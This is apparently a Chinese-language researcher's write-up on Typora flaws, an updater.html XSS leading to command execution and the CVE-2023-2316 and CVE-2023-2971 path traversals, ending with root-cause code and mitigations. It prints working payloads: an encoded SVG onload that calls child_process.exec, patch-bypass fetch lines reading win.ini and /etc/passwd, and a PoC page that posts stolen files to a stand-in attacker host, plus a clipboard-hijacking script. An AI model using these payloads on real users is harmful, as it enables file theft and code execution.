curVersion=111&newVersion=222&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
  • 数组索引 0 将包含整个匹配,例如:newVersion=222
  • 数组索引 1 将只包含捕获组的匹配,即:222

此时,curVersion被设置为111,newVersion被设置为222。

JSON.parse后,labels被设置为Javascript数组:

1
["","<svg/onload=top.eval(atob('b64_string'))></svg>","","","",""]

含有6个元素的labels数组,

在顶级窗口上下文中执行解码后的字符串作为JavaScript代码。

测试

在0.9beta版本里,发现并不能够成功执行payload.

首先,是updater.html的路径不对。

1.6.7之后的版本,可以把”typora://app/typemark”解析成 [Typora Installation Absolute Path]/resources/ ,但是0.9版本没有这个功能;

而且两个版本的目录也有很大差异。

1
typora://resources/app/updater/updater.html
1
2
3
4
5
6
7
8
9

<embed style="height:0;" src="typora://resources/app/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
​```
reqnode('child_process').exec(({Win32: 'calc', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])
​```
<embed style="height:0;" src="typora://resources/app/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgd3d3LmV4cHBvYy5vcmcnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">
​```
reqnode('child_process').exec(({Win32: 'notepad www.exppoc.org', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])
​```

修改后,发现成功触发到updater.html。

1693365459596

但是SVG元素的onload事件代码被浏览器阻止了,因为它尝试在一个跨域的frame中访问当前的frame,这违反了同源策略。

1693365876426

CVE-2023-2316 路径遍历漏洞

1
fetch('typora://app/C:/windows/win.ini').then(r=>r.text()).then(r=>{console.log(r)})

1693367774824

仍然是针对Typora1.6.5的,0.9很安全。

2316漏洞修补

在Typora 1.6.5中添加了一个健全性检查,

[1] 以确保路径以字符串 typemark 开头,

[2]消除了传递以 / 或者C:\\ 开头的绝对路径的可能性。

2316修补的绕过

  • Approach 1: Using ..%5C (Windows-only):
    方法 1:使用 URL编码..%5C (仅限 Windows):

    1
    fetch('typora://app/typemark/..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows/win.ini').then(r=>r.text()).then(r=>{console.log(r)})
  • Approach 2: Passing ../ in URL fragment #:
    方法 2:URL 片段 # 中传入 ../

    1
    fetch('typora://app/typemark#../../../../../../../../Windows/win.ini').then(r=>r.text()).then(r=>{console.log(r)})

CVE-2023-2971路径遍历漏洞

影响范围

Typora for Windows/Linux < 1.7.0-dev
实际测试的版本:

Typora for Windows 1.6.7, Typora for Linux 1.6.6

在Windows和Linux上的1.7.0-dev之前,Typora中的不当路径处理允许构建的网页访问本地文件并通过“typora://app/typemark/”将其泄露到远程Web服务器。如果用户在 Typora 中打开恶意md文件,或从恶意网页复制文本并将其粘贴到 Typora 中,则可利用此漏洞。

POC

利用方式1,打开恶意markdown文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Typora 1.6.7 Local File Disclosure Proof-of-Concept</title>
</head>
<body>
<pre id="log" style="background: #eee; width: 100%;"></pre>
<script>
const log = t => {
document.getElementById("log").textContent += t + '\r\n';
fetch('//example.localtest.me/send-file-to-attacker-server', {mode: 'no-cors', body: t, method: 'POST'})
}
log('location.origin: ' + location.origin)
log('navigator.platform: ' + navigator.platform)
log(' ')
if(navigator.platform === 'Win32'){
log('Content of your C:\\Windows\\win.ini:')
fetch('typora://app/typemark/%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows/win.ini').then(r=>r.text()).then(r=>{log(r)})
} else {
log('Content of your /etc/passwd:')
fetch('typora://app/typemark#/../../../../../../../../etc/passwd').then(r=>r.text()).then(r=>{log(r)})
}
</script>
</body>
</html>

将上面的HTML文件另存为 poc1.html 并将其存放到Web服务器,然后将此行

1
<embed src="http(s)://YOUR-WEB-SERVER/poc1.html">

附加到任何markdown文件中。

在poc执行后,

  1. 尝试在Windows或 /etc/passwd Linux上阅读 C:/Windows/win.ini
  2. 在网页中显示文件的内容,
  3. 将文件发送到外部 URL example.localtest.me (此域解析为 127.0.0.1 仅用于演示目的)。

利用方式2 编辑网页上的copy事件

攻击者可以手工创建恶意网页,并使用以下代码挂接 copy 事件:

1
2
3
4
5
6
7
8
9
<script>
document.addEventListener('copy',e=>{
e.preventDefault();
//&#x3c;embed style="height:0;" src="https://o.cal1.cn/cab3e723540d9948-typora-167-poc/local-file-disclosure.html">&#x0d;&#x0d;
let payload = atob('JiN4M2M7ZW1iZWQgc3R5bGU9ImhlaWdodDowOyIgc3JjPSJodHRwczovL28uY2FsMS5jbi9jYWIzZTcyMzU0MGQ5OTQ4LXR5cG9yYS0xNjctcG9jL2xvY2FsLWZpbGUtZGlzY2xvc3VyZS5odG1sIj4mI3gwZDsmI3gwZDs=');
e.clipboardData.setData('text/markhtml', `\x20\x0d\x0a\x0d\x0a` + payload + window.getSelection());
console.log(payload + window.getSelection())
})
</script>

当受害者从此页面复制文本时,有效负载将添加到复制的内容中,并在粘贴到 Typora 时触发。

1
2
3
4
5


<embed style="height:0;" src="https://o.cal1.cn/cab3e723540d9948-typora-167-poc/local-file-disclosure.html">


相当于在Typora中内嵌了上面的内容

2971漏洞原理

为了在Typora编辑器中加载本地资源,在 resources/app.asar/atom.js, 自定义了URL模式typora://,通过electron.protocol.registerFileProtocol API注册.

处理 typora://的代码片段如下 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
m.registerFileProtocol(e, function(e, t) {
e.url ? t({
path: c.getRealPath(e.url)
}) : t({
error: -324
})
}),

c.getRealPath = function(e) {
try {
e = decodeURI(e)
} catch (e) {}
e = e.substr(13);//截取到模式选项
if (/^userData/i.exec(e))
e = e.replace(/^userData/, c.getPath("userData").replace(/\\/g, "\\\\"));
else {
if (!/^typemark/i.exec(e)) // [1]
return console.warn("reject access to path", e),
"";
e = e.replace(/^typemark/, t) // [2]
}
return /current-theme\.css$/.exec(e) && (e = e.replace(/current-theme\.css$/, c.setting.curTheme())),
e = (e = /preview\.html/.exec(e) ? e.replace(/\.html[?#].*$/, ".html") : e).replace(/[?#][^\\\/]*$/, "")
}

例如,当主窗口尝试加载 typora://app/typemark/window.html 时,URL 将从 转换 [Typora Installation Absolute Path]/resources/window.html 和加载。

漏洞缓解和漏洞建议

对于使用受此漏洞影响的版本的最终用户,建议 (1) 不应在 Typora 中打开任何不受信任的 markdown 文件,以及 (2) 应避免从不受信任的网页复制文本然后将其粘贴到 Typora 中。

禁止 http 网页访问 typora:// 资源。 如在浏览器和Typora0.9版本中规定的那样。